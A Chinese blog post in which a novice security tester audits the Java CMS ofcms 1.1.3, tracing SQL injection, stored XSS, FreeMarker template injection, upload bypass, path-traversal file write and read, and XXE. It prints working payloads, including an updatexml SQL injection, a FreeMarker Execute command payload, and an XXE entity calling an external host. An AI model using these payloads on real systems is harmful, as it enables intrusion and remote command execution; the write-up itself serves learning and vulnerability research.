安服仔首次Java代审的学与思

环境搭建:


本次审计为ofcms 1.1.3版本:https://gitee.com/oufu/ofcms/tree/V1.1.3/
安装部署过程比较简单,就省略不占篇幅了,安装完毕后访问后台地址:
http://localhost:8080/ofcms_admin/admin/login.html

默认账号和密码:admin/123456

审计计划:


抱着实战和学习的态度,首先先问度娘大概存在哪些漏洞,然后自己尝试一个个去挖掘,实在找不到就站在巨人的肩膀上。

0x01 SQL注入:


查看pom.xml,发现没有使用MyBatis,搜索关键字查询可能存在SQL注入的代码,发现使用jfinal Db执行SQL,好几处都做了预编译,然后就放弃了。

于是看看大佬们是怎么操作的,嗯嗯……看了之后我猜测大概率是先通过Web界面寻找敏感的功能点,然后进行审计。在管理后台 -- 代码生成 -- 新增,这里可以输入SQL语句执行

文件路径:src/main/java/com/ofsoft/cms/admin/controller/system/SystemGenerateController.java,查看相关代码:

调用Db.update(sql)方法执行输入的SQL语句,跟进该方法,一直跟踪到com.jfinal.plugin.activerecord.DbPro类的update方法真正执行SQL语句

由于我们可以控制整个SQL语句,这里的预编译并不起作用

Payload:sql=update+of_cms_count+set+day_content_count=updatexml(1,concat(0x7e,(user())),0)+where+site_id=1;

0x02 存储型XSS:


搜索关键字也没找到,emmmmm毕竟刚学Java代审,可能是关键字搜集的还不够。既然是存储型那应该会写入到数据库中,但这种似乎从代码层面似乎不太好挖掘。

继续站在巨人的肩膀上,发现是前台用户评论处存在漏洞,对应代码文件:src/main/java/com/ofsoft/cms/api/v1/CommentApi.java

调用了getParamsMap方法,获取用户提交的所有参数,然后调用Db.getSqlPara方法,ofcms是通过jfinal的调用机制来执行数据库操作,使用#sql指令和#end指令可以完成对sql模板的定义。#sql指令接收一个string类型的参数,用来作为该sql的唯一标识。

可以注意到第34行(Db.getSqlPara("cms.comment.save", params));,这里的cms.comment指向模板文件,save为方法,Db.getSqlPara方法用于获取完整的SQL语句。

Db.update()方法将数据更新到数据库中,这里是没有进行过滤的

接下来看如何获取前台用户评论的数据,有点复杂或者说以我现在的水平没弄懂也说不清,相关文件:src/main/java/com/ofsoft/cms/front/template/directive/CommentListDirective.java

主要是根据前台url传入的content_id作为SQL查询的条件获取评论数据:

最后利用serVariable方法,利用FreeMarker渲染模板

0x03 模板注入SSTI:


从pom.xml可以看到引入freemarker-2.3.21依赖,该模版引擎是存在模版注入的,在后台管理的模板设置处可以编辑模板文件:

JFinal允许多模板共存,如果想要使用freemarker模板,需要在configConstant配置:
me.setViewType(ViewType.FREE_MARKER);

对应的控制器处理方法为src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java的save方法

直接获取file_content请求参数,后调用FileUtils.writeString(file, fileContent)保存我们修改的模板文件内容

writeString方法中,使用 JFinal.me()调用模板,使用 put 用来替换原来输出response html代码输出到浏览器

任选一个html模板,插入我们的Payload:<#assign value="freemarker.template.utility.Execute"?new()>${value("calc.exe")}

0x04 文件上传:


src/main/java/com/ofsoft/cms/admin/controller/ComnController.java类中的upload方法存在任意文件上传:

追踪getFile方法,发现调用了getFiles方法判断请求是否为MultipartRequest类的实例,若不是则将构造一个新的MultipartRequest来处理指定的请求,调用MultipartRequest类的构造函数,再到wrapMultipartRequest函数。

跟进isSafeFile函数,获取了上传文件名去空并转为小写,检验是否以jsp或jspx结尾,这里可以利用Windows上传特性来绕过:

漏洞证明:

同理,但凡调用了getFile方法的大概率都存在文件上传漏洞:

0x05 任意文件写入:

src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.javaTemplateController类的save方法中:

文件名、文件内容都是可控,且对用户输入的文件名是没有过滤../的,最后调用writeString方法写文件我们可以往服务器上写入任意文件

上传之后发现不解析,然后搜索.jsp的关键词,找到src/main/java/com/ofsoft/cms/core/handler/ActionHandler.java

如果jsp文件是放置在statc目录下,则不会被处理,就可以解析JSP了

0x06 有限制的目录遍历/任意文件读取:


文件路径:src/main/java/com/ofsoft/cms/admin/controller/cms/TemplateController.java

getTemplates函数,可以看到从前台获取dir、up_dir、res_path值,直接把dir拼接到pathfile,并未对其处理,直接获取pathfile目录下的所有目录dirs和文件files,但是获取的文件后缀只能是html、xml、css、js:

默认读取index.html文件,后判断files是否为空,如果不为空,循环所有文件files和file_name进行对比,有则返回该文件,无则返回所有文件files的第一个文件,最终读取该文件内容

0x07 XML外部实体注入:


src/main/java/com/ofsoft/cms/admin/controller/ReprotAction.java的expReport方法中,拼接用户输入的j参数生成文件路径,可以进行路径穿越,但限制了后缀名为jrxml,去站点目录搜了下这个后缀名文件,里面的内容其实就是XML。然后调用JasperCompileManager.compileReport()方法,跟进该方法看看

又调用了JRXmlLoader.load(),继续追踪

一直跟到调用JRXmlLoader.loadXML()方法,在 loadXML 方法中调用了 Digester 类的 parse 解析我们的 XML 文档对象,默认是没有禁用外部实体解析

可以利用前面发现的任意文件写入生成一个恶意的jrxml:

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE poem [<!ENTITY % xxe SYSTEM "http://192.168.0.101:8181/xxe">%xxe; ]>

直接访问url触发xxe:http://localhost:8080/ofcms-admin/admin/reprot/expReport.html?j=test

小结:


有几个漏洞我并没有发现:

  • SQL注入:在发现jfinal Db做了预编译后就放弃了。以后得多根据应用功能点来进行审计
  • 存储型XSS:了解到了jfinal的调用机制(预定于sql模板及配置)
  • 模板注入:了解到了在JFinal框架中使用FreeMarker渲染视图
  • XML外部实体注入:了解到了调用JasperCompileManager.compileReport会触发XXE,算是一个经验把

写完这篇文章的时候感觉还是处于很懵比的状态,后续的话会花更多的精力根据应用功能点来进行代码审计,而不是单纯依靠关键词来进行分析追踪,毕竟JAVA框架那么多,那么多第三方库,谁也不知道它是否有封装不安全的方法。另外如果在源码行数不多的情况下,尽可能地把所有控制器都过一遍,这就是体力活了。Java代审慢慢学把……

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
禁止转载,如需转载请通过简信或评论联系作者。
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 199,393评论 5 467
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 83,790评论 2 376
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 146,391评论 0 330
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 53,703评论 1 270
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 62,613评论 5 359
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,003评论 1 275
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 37,507评论 3 390
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,158评论 0 254
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 40,300评论 1 294
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,256评论 2 317
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,274评论 1 328
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 32,984评论 3 316
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 38,569评论 3 303
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 29,662评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 30,899评论 1 255
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 42,268评论 2 345
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 41,840评论 2 339

推荐阅读更多精彩内容